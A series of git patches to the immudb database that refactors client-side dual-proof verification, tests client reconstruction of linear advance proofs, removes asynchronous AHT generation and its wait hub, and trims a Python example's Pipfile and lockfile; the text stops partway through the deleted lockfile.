*immuClient) VerifiedTxByID(ctx context.Context, tx uint64) (*schema.Tx, } if state.TxId > 0 { - verifies := store.VerifyDualProof( + err := c.verifyDualProof( + ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) - if !verifies { - return nil, store.ErrCorruptedData + if err != nil { + return nil, err } } @@ -1691,15 +1723,17 @@ func (c *immuClient) VerifiedSetReferenceAt(ctx context.Context, key []byte, ref targetAlh = tx.Header().Alh() if state.TxId > 0 { - verifies = store.VerifyDualProof( - schema.DualProofFromProto(verifiableTx.DualProof), + dualProof := schema.DualProofFromProto(verifiableTx.DualProof) + err := c.verifyDualProof( + ctx, + dualProof, sourceID, targetID, sourceAlh, targetAlh, ) - if !verifies { - return nil, store.ErrCorruptedData + if err != nil { + return nil, err } } @@ -1862,15 +1896,17 @@ func (c *immuClient) VerifiedZAddAt(ctx context.Context, set []byte, score float targetAlh = tx.Header().Alh() if state.TxId > 0 { - verifies = store.VerifyDualProof( - schema.DualProofFromProto(vtx.DualProof), + dualProof := schema.DualProofFromProto(vtx.DualProof) + err := c.verifyDualProof( + ctx, + dualProof, sourceID, targetID, sourceAlh, targetAlh, ) - if !verifies { - return nil, store.ErrCorruptedData + if err != nil { + return nil, err } } diff --git a/pkg/client/sql.go b/pkg/client/sql.go index 1365e0e71e..bc151371ee 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -213,15 +213,16 @@ func (c *immuClient) VerifyRow(ctx context.Context, row *schema.Row, table strin } if state.TxId > 0 { - verifies = store.VerifyDualProof( + err := c.verifyDualProof( + ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) - if !verifies { - return store.ErrCorruptedData + if err != nil { + return err } } diff --git a/pkg/client/streams.go b/pkg/client/streams.go index c552bf278c..9035bdb328 100644 --- a/pkg/client/streams.go +++ b/pkg/client/streams.go @@ -246,16 +246,17 @@ func (c *immuClient) _streamVerifiedSet(ctx context.Context, kvs []*stream.KeyVa targetAlh = tx.Header().Alh() if state.TxId > 0 { - verifies = store.VerifyDualProof( - schema.DualProofFromProto(verifiableTx.DualProof), + dualProof := schema.DualProofFromProto(verifiableTx.DualProof) + err := c.verifyDualProof( + ctx, + dualProof, sourceID, targetID, sourceAlh, targetAlh, ) - - if !verifies { - return nil, store.ErrCorruptedData + if err != nil { + return nil, err } } @@ -360,15 +361,16 @@ func (c *immuClient) _streamVerifiedGet(ctx context.Context, req *schema.Verifia } if state.TxId > 0 { - verifies = store.VerifyDualProof( + err := c.verifyDualProof( + ctx, dualProof, sourceID, targetID, sourceAlh, targetAlh, ) - if !verifies { - return nil, store.ErrCorruptedData + if err != nil { + return nil, err } } diff --git a/pkg/integration/verification_long_linear_proof_test.go b/pkg/integration/verification_long_linear_proof_test.go index 4bac97b156..5537d8663c 100644 --- a/pkg/integration/verification_long_linear_proof_test.go +++ b/pkg/integration/verification_long_linear_proof_test.go @@ -24,10 +24,12 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" + "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" + "google.golang.org/grpc" "google.golang.org/protobuf/types/known/emptypb" ) @@ -38,6 +40,8 @@ type stateServiceMock struct { stateHistory map[uint64]*schema.ImmutableState } +var _ state.StateService = (*stateServiceMock)(nil) + func newServiceStateMock() *stateServiceMock { return &stateServiceMock{ state: &schema.ImmutableState{TxId: 0}, @@ -71,6 +75,25 @@ func (ssm *stateServiceMock) CacheUnlock() error { return nil } +func (ssm *stateServiceMock) SetServerIdentity(identity string) {} + +type clientProxyRemovingLinearAdvanceProof struct { + schema.ImmuServiceClient +} + +func (mock *clientProxyRemovingLinearAdvanceProof) VerifiableTxById( + ctx context.Context, in *schema.VerifiableTxRequest, opts ...grpc.CallOption, +) ( + *schema.VerifiableTx, error, +) { + ret, err := mock.ImmuServiceClient.VerifiableTxById(ctx, in) + if ret != nil && ret.DualProof != nil { + // Cleanup the linear advance proof so that it gets regenerated + ret.DualProof.LinearAdvanceProof = nil + } + return ret, err +} + func TestLongLinearProofVerification(t *testing.T) { // Start the server with transaction data containing long linear proof dir := t.TempDir() @@ -151,15 +174,37 @@ func TestLongLinearProofVerification(t *testing.T) { }) t.Run("Exhaustive consistency proof", func(t *testing.T) { - for i := uint64(1); i <= txCount; i++ { - for j := i; j <= txCount; j++ { - ssm.state = ssm.stateHistory[i] - _, err = cl.VerifiedTxByID(context.Background(), j) - require.NoError(t, err) - require.EqualValues(t, j, ssm.state.TxId) + t.Run("server-generated linear advance proof", func(t *testing.T) { + for i := uint64(1); i <= txCount; i++ { + for j := i; j <= txCount; j++ { + ssm.state = ssm.stateHistory[i] + + _, err = cl.VerifiedTxByID(context.Background(), j) + require.NoError(t, err) + require.EqualValues(t, j, ssm.state.TxId) + } } - } + }) + + t.Run("client-reconstructed linear advance proof", func(t *testing.T) { + + scl := cl.GetServiceClient() + // Mock service client that removes linear advance proofs + // that will mimic the behavior of older servers + cl.WithServiceClient(&clientProxyRemovingLinearAdvanceProof{ImmuServiceClient: scl}) + + for i := uint64(1); i <= txCount; i++ { + for j := i + 5; j <= txCount; j++ { + + ssm.state = ssm.stateHistory[i] + + _, err = cl.VerifiedTxByID(context.Background(), j) + require.NoError(t, err) + require.EqualValues(t, j, ssm.state.TxId) + } + } + }) }) } From 7a3949585d51ef3bc5c4442f0b93aa63eface113 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Thu, 27 Oct 2022 10:49:15 +0200 Subject: [PATCH 0028/1062] chore(embedded/store): Disable asynchronous AHT generation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki # Conflicts: # embedded/store/immustore_test.go # embedded/store/verification_test.go --- embedded/store/immustore.go | 107 ++---------------- embedded/store/immustore_test.go | 52 +-------- embedded/store/options.go | 19 +--- embedded/store/options_test.go | 2 - embedded/store/verification_test.go | 2 +- embedded/tools/stress_tool/stress_tool.go | 1 - .../tools/stress_tool_sql/stress_tool_sql.go | 1 - pkg/server/db_options.go | 1 - 8 files changed, 20 insertions(+), 165 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 792cee0ce2..56d5524645 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -91,7 +91,6 @@ var ErrInvalidPreconditionMaxKeyLenExceeded = fmt.Errorf("%w: %v", ErrInvalidPre var ErrInvalidPreconditionInvalidTxID = fmt.Errorf("%w: invalid transaction ID", ErrInvalidPrecondition) var ErrSourceTxNewerThanTargetTx = errors.New("source tx is newer than target tx") -var ErrLinearProofMaxLenExceeded = errors.New("max linear proof length limit exceeded") var ErrCompactionUnsupported = errors.New("compaction is unsupported when remote storage is used") @@ -165,7 +164,6 @@ type ImmuStore struct { maxTxEntries int maxKeyLen int maxValueLen int - maxLinearProofLen int maxTxSize int @@ -186,10 +184,7 @@ type ImmuStore struct { _valBs []byte // pre-allocated buffer to support tx exportation _valBsMux sync.Mutex - aht *ahtree.AHtree - blBuffer chan ([sha256.Size]byte) - blErr error - + aht *ahtree.AHtree ahtWHub *watchers.WatchersHub inmemPrecommitWHub *watchers.WatchersHub durablePrecommitWHub *watchers.WatchersHub @@ -198,7 +193,6 @@ type ImmuStore struct { indexer *indexer closed bool - blDone chan (struct{}) mutex sync.Mutex @@ -474,11 +468,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable kvs[i] = &tbtree.KV{K: make([]byte, maxKeyLen), V: make([]byte, elen)} } - var blBuffer chan ([sha256.Size]byte) - if opts.MaxLinearProofLen > 0 { - blBuffer = make(chan [sha256.Size]byte, opts.MaxLinearProofLen) - } - txLogCache, err := cache.NewLRUCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start if err != nil { return nil, err @@ -514,7 +503,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable maxTxEntries: maxTxEntries, maxKeyLen: maxKeyLen, maxValueLen: maxInt(maxValueLen, opts.MaxValueLen), - maxLinearProofLen: opts.MaxLinearProofLen, maxTxSize: maxTxSize, @@ -525,8 +513,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable useExternalCommitAllowance: opts.UseExternalCommitAllowance, commitAllowedUpToTxID: committedTxID, - aht: aht, - blBuffer: blBuffer, + aht: aht, ahtWHub: watchers.New(0, opts.MaxActiveTransactions), inmemPrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+1), // syncer (TODO: indexer may wait here instead) @@ -559,11 +546,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } } - if store.blBuffer != nil { - store.blDone = make(chan struct{}) - go store.binaryLinking() - } - err = store.ahtWHub.DoneUpto(precommittedTxID) if err != nil { return nil, err @@ -800,35 +782,6 @@ func (s *ImmuStore) SnapshotSince(tx uint64) (*Snapshot, error) { }, nil } -func (s *ImmuStore) binaryLinking() { - for { - select { - case alh := <-s.blBuffer: - { - n, _, err := s.aht.Append(alh[:]) - if err != nil { - s.SetBlErr(err) - s.logger.Errorf("Binary linking at '%s' stopped due to error: %v", s.path, err) - return - } - - s.ahtWHub.DoneUpto(n) - } - case <-s.blDone: - { - return - } - } - } -} - -func (s *ImmuStore) SetBlErr(err error) { - s.mutex.Lock() - defer s.mutex.Unlock() - - s.blErr = err -} - func (s *ImmuStore) CommittedAlh() (uint64, [sha256.Size]byte) { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() @@ -863,21 +816,6 @@ func (s *ImmuStore) precommittedAlh() (uint64, [sha256.Size]byte) { return s.inmemPrecommittedTxID, s.inmemPrecommittedAlh } -func (s *ImmuStore) BlInfo() (uint64, error) { - s.mutex.Lock() - defer s.mutex.Unlock() - - alhSize := s.aht.Size() - committedTxID := s.LastCommittedTxID() - - // only expose fully committed (durable) information - if alhSize < committedTxID { - return alhSize, s.blErr - } - - return committedTxID, s.blErr -} - func (s *ImmuStore) syncBinaryLinking() error { s.logger.Infof("Syncing Binary Linking at '%s'...", s.path) @@ -1030,10 +968,6 @@ func (s *ImmuStore) MaxValueLen() int { return s.maxValueLen } -func (s *ImmuStore) MaxLinearProofLen() int { - return s.maxLinearProofLen -} - func (s *ImmuStore) TxCount() uint64 { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() @@ -1378,10 +1312,6 @@ func (s *ImmuStore) lastPrecommittedTxID() uint64 { } func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { - if s.blErr != nil { - return s.blErr - } - s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() @@ -1507,20 +1437,16 @@ func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { return err } - if s.blBuffer == nil { - err = s.aht.ResetSize(s.inmemPrecommittedTxID) - if err != nil { - return err - } - _, _, err := s.aht.Append(alh[:]) - if err != nil { - return err - } - - s.ahtWHub.DoneUpto(tx.header.ID) - } else { - s.blBuffer <- alh + err = s.aht.ResetSize(s.inmemPrecommittedTxID) + if err != nil { + return err } + _, _, err = s.aht.Append(alh[:]) + if err != nil { + return err + } + + s.ahtWHub.DoneUpto(tx.header.ID) s.inmemPrecommittedTxID++ s.inmemPrecommittedAlh = alh @@ -1957,10 +1883,6 @@ func (s *ImmuStore) LinearProof(sourceTxID, targetTxID uint64) (*LinearProof, er return nil, ErrSourceTxNewerThanTargetTx } - if s.maxLinearProofLen > 0 && int(targetTxID-sourceTxID+1) > s.maxLinearProofLen { - return nil, ErrLinearProofMaxLenExceeded - } - tx, err := s.fetchAllocTx() if err != nil { return nil, err @@ -2771,13 +2693,6 @@ func (s *ImmuStore) Close() error { s.releaseVLog(i + 1) } - if s.blBuffer != nil && s.blErr == nil && s.blDone != nil { - s.logger.Infof("Stopping Binary Linking at '%s'...", s.path) - s.blDone <- struct{}{} - s.logger.Infof("Binary linking gracefully stopped at '%s'", s.path) - close(s.blBuffer) - } - err := s.ahtWHub.Close() merr.Append(err) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 64b5cfb31b..cd2ae40b13 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -235,7 +235,6 @@ func TestImmudbStoreSettings(t *testing.T) { require.Equal(t, DefaultOptions().MaxTxEntries, immuStore.MaxTxEntries()) require.Equal(t, DefaultOptions().MaxKeyLen, immuStore.MaxKeyLen()) require.Equal(t, DefaultOptions().MaxValueLen, immuStore.MaxValueLen()) - require.Equal(t, DefaultOptions().MaxLinearProofLen, immuStore.MaxLinearProofLen()) } func TestImmudbStoreEdgeCases(t *testing.T) { @@ -249,7 +248,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) }) - t.Run("should fail with invalid appendables and invlaid options", func(t *testing.T) { + t.Run("should fail with invalid appendables and invalid options", func(t *testing.T) { _, err := OpenWith(t.TempDir(), nil, nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) }) @@ -259,7 +258,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { require.EqualError(t, err, "stat invalid\x00_dir_name: invalid argument") }) - t.Run("should fail with permiission denied", func(t *testing.T) { + t.Run("should fail with permission denied", func(t *testing.T) { path := filepath.Join(t.TempDir(), "ro_path") require.NoError(t, os.MkdirAll(path, 0500)) @@ -720,9 +719,6 @@ func TestImmudbStoreEdgeCases(t *testing.T) { _, err = immuStore.LinearProof(2, 1) require.ErrorIs(t, err, ErrSourceTxNewerThanTargetTx) - _, err = immuStore.LinearProof(1, uint64(1+immuStore.maxLinearProofLen)) - require.ErrorIs(t, err, ErrLinearProofMaxLenExceeded) - _, err = sourceTx.EntryOf([]byte{1, 2, 3}) require.ErrorIs(t, err, ErrKeyNotFound) @@ -812,19 +808,6 @@ func TestImmudbStoreEdgeCases(t *testing.T) { }) } -func TestImmudbSetBlErr(t *testing.T) { - opts := DefaultOptions().WithMaxConcurrency(1) - immuStore, err := Open(t.TempDir(), opts) - require.NoError(t, err) - - defer immustoreClose(t, immuStore) - - immuStore.SetBlErr(errors.New("error")) - - _, err = immuStore.BlInfo() - require.Error(t, err) -} - func TestImmudbTxOffsetAndSize(t *testing.T) { opts := DefaultOptions().WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) @@ -1182,7 +1165,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.Equal(t, []byte("value1_tx1"), v) }) - t.Run("second ongoing tx after the first cancelation should succeed", func(t *testing.T) { + t.Run("second ongoing tx after the first cancellation should succeed", func(t *testing.T) { tx1, err := immuStore.NewTx() require.NoError(t, err) @@ -1744,7 +1727,7 @@ func TestImmudbStoreInclusionProof(t *testing.T) { } func TestLeavesMatchesAHTSync(t *testing.T) { - opts := DefaultOptions().WithSynced(false).WithMaxLinearProofLen(0).WithMaxConcurrency(1) + opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) @@ -1786,15 +1769,6 @@ func TestLeavesMatchesAHTSync(t *testing.T) { require.True(t, exists) } - for { - n, err := immuStore.BlInfo() - require.NoError(t, err) - if n == uint64(txCount) { - break - } - time.Sleep(time.Duration(10) * time.Millisecond) - } - tx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { @@ -1842,15 +1816,6 @@ func TestLeavesMatchesAHTASync(t *testing.T) { require.Equal(t, uint64(i+1), txhdr.ID) } - for { - n, err := immuStore.BlInfo() - require.NoError(t, err) - if n == uint64(txCount) { - break - } - time.Sleep(time.Duration(10) * time.Millisecond) - } - tx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { @@ -1958,15 +1923,6 @@ func TestImmudbStoreConsistencyProofAgainstLatest(t *testing.T) { require.Equal(t, uint64(i+1), txhdr.ID) } - for { - n, err := immuStore.BlInfo() - require.NoError(t, err) - if n == uint64(txCount) { - break - } - time.Sleep(time.Duration(10) * time.Millisecond) - } - sourceTx := tempTxHolder(t, immuStore) targetTx := tempTxHolder(t, immuStore) diff --git a/embedded/store/options.go b/embedded/store/options.go index 68dbf0b4c7..17d205e6da 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -36,7 +36,6 @@ const DefaultMaxKeyLen = 1024 const DefaultMaxValueLen = 4096 // 4Kb const DefaultSyncFrequency = 20 * time.Millisecond const DefaultFileMode = os.FileMode(0755) -const DefaultMaxLinearProofLen = 1 << 10 const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel @@ -75,9 +74,8 @@ type Options struct { MaxActiveTransactions int - MaxConcurrency int - MaxIOConcurrency int - MaxLinearProofLen int + MaxConcurrency int + MaxIOConcurrency int TxLogCacheSize int @@ -139,9 +137,8 @@ func DefaultOptions() *Options { MaxActiveTransactions: DefaultMaxActiveTransactions, - MaxConcurrency: DefaultMaxConcurrency, - MaxIOConcurrency: DefaultMaxIOConcurrency, - MaxLinearProofLen: DefaultMaxLinearProofLen, + MaxConcurrency: DefaultMaxConcurrency, + MaxIOConcurrency: DefaultMaxIOConcurrency, TxLogCacheSize: DefaultTxLogCacheSize, @@ -219,9 +216,6 @@ func (opts *Options) Validate() error { if opts.MaxIOConcurrency <= 0 || opts.MaxIOConcurrency > MaxParallelIO { return fmt.Errorf("%w: invalid MaxIOConcurrency", ErrInvalidOptions) } - if opts.MaxLinearProofLen < 0 { - return fmt.Errorf("%w: invalid MaxLinearProofLen", ErrInvalidOptions) - } if opts.VLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid VLogMaxOpenedFiles", ErrInvalidOptions) @@ -408,11 +402,6 @@ func (opts *Options) WithMaxValueLen(maxValueLen int) *Options { return opts } -func (opts *Options) WithMaxLinearProofLen(maxLinearProofLen int) *Options { - opts.MaxLinearProofLen = maxLinearProofLen - return opts -} - func (opts *Options) WithTxLogCacheSize(txLogCacheSize int) *Options { opts.TxLogCacheSize = txLogCacheSize return opts diff --git a/embedded/store/options_test.go b/embedded/store/options_test.go index eac7752703..23c53a7109 100644 --- a/embedded/store/options_test.go +++ b/embedded/store/options_test.go @@ -38,7 +38,6 @@ func TestInvalidOptions(t *testing.T) { {"SyncFrequency", DefaultOptions().WithSyncFrequency(-1)}, {"MaxIOConcurrency", DefaultOptions().WithMaxIOConcurrency(0)}, {"MaxIOConcurrency-max", DefaultOptions().WithMaxIOConcurrency(MaxParallelIO + 1)}, - {"MaxLinearProofLen", DefaultOptions().WithMaxLinearProofLen(-1)}, {"TxLogCacheSize", DefaultOptions().WithTxLogCacheSize(-1)}, {"VLogMaxOpenedFiles", DefaultOptions().WithVLogMaxOpenedFiles(0)}, {"TxLogMaxOpenedFiles", DefaultOptions().WithTxLogMaxOpenedFiles(0)}, @@ -122,7 +121,6 @@ func TestValidOptions(t *testing.T) { require.Equal(t, DefaultMaxActiveTransactions, opts.WithMaxActiveTransactions(DefaultMaxActiveTransactions).MaxActiveTransactions) require.Equal(t, DefaultMaxIOConcurrency, opts.WithMaxIOConcurrency(DefaultMaxIOConcurrency).MaxIOConcurrency) require.Equal(t, DefaultMaxKeyLen, opts.WithMaxKeyLen(DefaultMaxKeyLen).MaxKeyLen) - require.Equal(t, DefaultMaxLinearProofLen, opts.WithMaxLinearProofLen(DefaultMaxLinearProofLen).MaxLinearProofLen) require.Equal(t, DefaultMaxTxEntries, opts.WithMaxTxEntries(DefaultMaxTxEntries).MaxTxEntries) require.Equal(t, DefaultMaxValueLen, opts.WithMaxValueLen(DefaultMaxValueLen).MaxValueLen) require.Equal(t, DefaultTxLogCacheSize, opts.WithTxLogCacheSize(DefaultOptions().TxLogCacheSize).TxLogCacheSize) diff --git a/embedded/store/verification_test.go b/embedded/store/verification_test.go index 5f29fb3211..b92c5fa60f 100644 --- a/embedded/store/verification_test.go +++ b/embedded/store/verification_test.go @@ -55,7 +55,7 @@ func TestVerifyDualProofEdgeCases(t *testing.T) { require.False(t, VerifyDualProof(nil, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil))) require.False(t, VerifyDualProof(&DualProof{}, 0, 0, sha256.Sum256(nil), sha256.Sum256(nil))) - opts := DefaultOptions().WithSynced(false).WithMaxLinearProofLen(0).WithMaxConcurrency(1) + opts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1) immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index 40efa092c8..99761ecce4 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -107,7 +107,6 @@ func main() { WithCommitLogMaxOpenedFiles(*openedLogFiles). WithCompressionFormat(compressionFormat). WithCompresionLevel(compressionLevel). - WithMaxLinearProofLen(0). WithMaxValueLen(1 << 26) // 64Mb immuStore, err := store.Open(*dataDir, opts) diff --git a/embedded/tools/stress_tool_sql/stress_tool_sql.go b/embedded/tools/stress_tool_sql/stress_tool_sql.go index 4d5271cf3d..cd78759e8c 100644 --- a/embedded/tools/stress_tool_sql/stress_tool_sql.go +++ b/embedded/tools/stress_tool_sql/stress_tool_sql.go @@ -120,7 +120,6 @@ func main() { WithCommitLogMaxOpenedFiles(c.openedLogFiles). WithCompressionFormat(c.compressionFormat). WithCompresionLevel(c.compressionLevel). - WithMaxLinearProofLen(0). WithMaxValueLen(1 << 26) // 64Mb dataStore, err := store.Open(c.dataDir, opts) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index e9e6d7772b..1247f8a064 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -253,7 +253,6 @@ func (opts *dbOptions) storeOptions() *store.Options { WithVLogMaxOpenedFiles(opts.VLogMaxOpenedFiles). WithTxLogMaxOpenedFiles(opts.TxLogMaxOpenedFiles). WithCommitLogMaxOpenedFiles(opts.CommitLogMaxOpenedFiles). - WithMaxLinearProofLen(0). // fixed no limitation, it may be customized in the future WithIndexOptions(indexOpts). WithAHTOptions(ahtOpts) From 8eb28487fab9e778797b3389f6d395605326986f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 2 Nov 2022 09:18:42 +0100 Subject: [PATCH 0029/1062] chore(embedded/store): Remove AHT Wait Hub MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Since we're not doing asynchronous AHT generation anymore, the AHT Wait Hub is no longer needed since the AHT will always be up-to-date. Signed-off-by: Bartłomiej Święcki --- embedded/store/immustore.go | 22 +--------------------- 1 file changed, 1 insertion(+), 21 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 56d5524645..efa87f593f 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -185,7 +185,6 @@ type ImmuStore struct { _valBsMux sync.Mutex aht *ahtree.AHtree - ahtWHub *watchers.WatchersHub inmemPrecommitWHub *watchers.WatchersHub durablePrecommitWHub *watchers.WatchersHub commitWHub *watchers.WatchersHub @@ -515,7 +514,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable aht: aht, - ahtWHub: watchers.New(0, opts.MaxActiveTransactions), inmemPrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+1), // syncer (TODO: indexer may wait here instead) durablePrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+opts.MaxWaitees), commitWHub: watchers.New(0, 1+opts.MaxActiveTransactions+opts.MaxWaitees), // including indexer @@ -546,11 +544,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } } - err = store.ahtWHub.DoneUpto(precommittedTxID) - if err != nil { - return nil, err - } - err = store.inmemPrecommitWHub.DoneUpto(precommittedTxID) if err != nil { return nil, err @@ -1214,14 +1207,6 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) var blRoot [sha256.Size]byte if hdr.BlTxID > 0 { - err = s.ahtWHub.WaitFor(hdr.BlTxID, nil) - if err == watchers.ErrAlreadyClosed { - return nil, ErrAlreadyClosed - } - if err != nil { - return nil, err - } - blRoot, err = s.aht.RootAt(hdr.BlTxID) if err != nil && err != ahtree.ErrEmptyTree { return nil, err @@ -1446,8 +1431,6 @@ func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { return err } - s.ahtWHub.DoneUpto(tx.header.ID) - s.inmemPrecommittedTxID++ s.inmemPrecommittedAlh = alh s.precommittedTxLogSize += int64(txSize) @@ -2693,10 +2676,7 @@ func (s *ImmuStore) Close() error { s.releaseVLog(i + 1) } - err := s.ahtWHub.Close() - merr.Append(err) - - err = s.inmemPrecommitWHub.Close() + err := s.inmemPrecommitWHub.Close() merr.Append(err) err = s.durablePrecommitWHub.Close() From 778d749b8cdd0b088b4ac75c06166fa62d8f9d2c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Wed, 16 Nov 2022 09:59:54 +0100 Subject: [PATCH 0030/1062] chore(docs/security): Be less specific about package version in examples MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- .../linear-fake/python/.gitignore | 1 + .../linear-fake/python/Pipfile | 2 +- .../linear-fake/python/Pipfile.lock | 251 ------------------ 3 files changed, 2 insertions(+), 252 deletions(-) create mode 100644 docs/security/vulnerabilities/linear-fake/python/.gitignore delete mode 100644 docs/security/vulnerabilities/linear-fake/python/Pipfile.lock diff --git a/docs/security/vulnerabilities/linear-fake/python/.gitignore b/docs/security/vulnerabilities/linear-fake/python/.gitignore new file mode 100644 index 0000000000..8f4dc5cfcf --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/python/.gitignore @@ -0,0 +1 @@ +Pipfile.lock diff --git a/docs/security/vulnerabilities/linear-fake/python/Pipfile b/docs/security/vulnerabilities/linear-fake/python/Pipfile index 5eaf79346d..8d04ef83ee 100644 --- a/docs/security/vulnerabilities/linear-fake/python/Pipfile +++ b/docs/security/vulnerabilities/linear-fake/python/Pipfile @@ -9,4 +9,4 @@ immudb-py = "*" [dev-packages] [requires] -python_version = "3.8" +python_version = "3" diff --git a/docs/security/vulnerabilities/linear-fake/python/Pipfile.lock b/docs/security/vulnerabilities/linear-fake/python/Pipfile.lock deleted file mode 100644 index a2fe66f494..0000000000 --- a/docs/security/vulnerabilities/linear-fake/python/Pipfile.lock +++ /dev/null @@ -1,251 +0,0 @@ -{ - "_meta": { - "hash": { - "sha256": "13b63870e34dcc018caaef61a1d2f28e2b11cfe6f9d2f6f936d110c4734c59e8" - }, - "pipfile-spec": 6, - "requires": { - "python_version": "3.8" - }, - "sources": [ - { - "name": "pypi", - "url": "https://pypi.python.org/simple", - "verify_ssl": true - } - ] - }, - "default": { - "appier": { - "hashes": [ - "sha256:7a1d01c827d17c733e4ffcb8f1f0a0391fbff367325d0758b2f0742557981243", - "sha256:fe8403ba8b8ca49ea9b8c9c1b6e37e4b505a702cc9c84dd2fcb0a6e50bbcec04" - ], - "version": "==1.30.0" - }, - "cachetools": { - "hashes": [ - "sha256:6a94c6402995a99c3970cc7e4884bb60b4a8639938157eeed436098bf9831757", - "sha256:f9f17d2aec496a9aa6b76f53e3b614c965223c061982d434d160f930c698a9db" - ], - "version": "==5.2.0" - }, - "certifi": { - "hashes": [ - "sha256:84c85a9078b11105f04f3036a9482ae10e4621616db313fe045dd24743a0820d", - "sha256:fe86415d55e84719d75f8b69414f6438ac3547d2078ab91b67e779ef69378412" - ], - "version": "==2022.6.15" - }, - "charset-normalizer": { - "hashes": [ - "sha256:5a3d016c7c547f69d6f81fb0db9449ce888b418b5b9952cc5e6e66843e9dd845", - "sha256:83e9a75d1911279afd89352c68b45348559d1fc0506b054b346651b5e7fee29f" - ], - "version": "==2.1.1" - }, - "dataclasses": { - "hashes": [ - "sha256:0201d89fa866f68c8ebd9d08ee6ff50c0b255f8ec63a71c16fda7af82bb887bf", - "sha256:8479067f342acf957dc82ec415d355ab5edb7e7646b90dc6e2fd1d96ad084c97" - ], - "version": "==0.8" - }, - "ecdsa": { - "hashes": [ - "sha256:190348041559e21b22a1d65cee485282ca11a6f81d503fddb84d5017e9ed1e49", - "sha256:80600258e7ed2f16b9aa1d7c295bd70194109ad5a30fdee0eaeefef1d4c559dd" - ], - "version": "==0.18.0" - }, - "google-api": { - "hashes": [ - "sha256:5611c87cdfc6b72927a5e2ea9299ddd6f3a206e29a342b86d3ff3ecc351c30a3", - "sha256:618f9f2076482a128c408867b5398b291938fe8e653ed7f8ed58fce5042f0c75" - ], - "version": "==0.1.12" - }, - "google-api-core": { - "hashes": [ - "sha256:06f7244c640322b508b125903bb5701bebabce8832f85aba9335ec00b3d02edc", - "sha256:93c6a91ccac79079ac6bbf8b74ee75db970cc899278b97d53bc012f35908cf50" - ], - "version": "==2.8.2" - }, - "google-auth": { - "hashes": [ - "sha256:be62acaae38d0049c21ca90f27a23847245c9f161ff54ede13af2cb6afecbac9", - "sha256:ed65ecf9f681832298e29328e1ef0a3676e3732b2e56f41532d45f70a22de0fb" - ], - "version": "==2.11.0" - }, - "googleapis-common-protos": { - "hashes": [ - "sha256:8eb2cbc91b69feaf23e32452a7ae60e791e09967d81d4fcc7fc388182d1bd394", - "sha256:c25873c47279387cfdcbdafa36149887901d36202cb645a0e4f29686bf6e4417" - ], - "version": 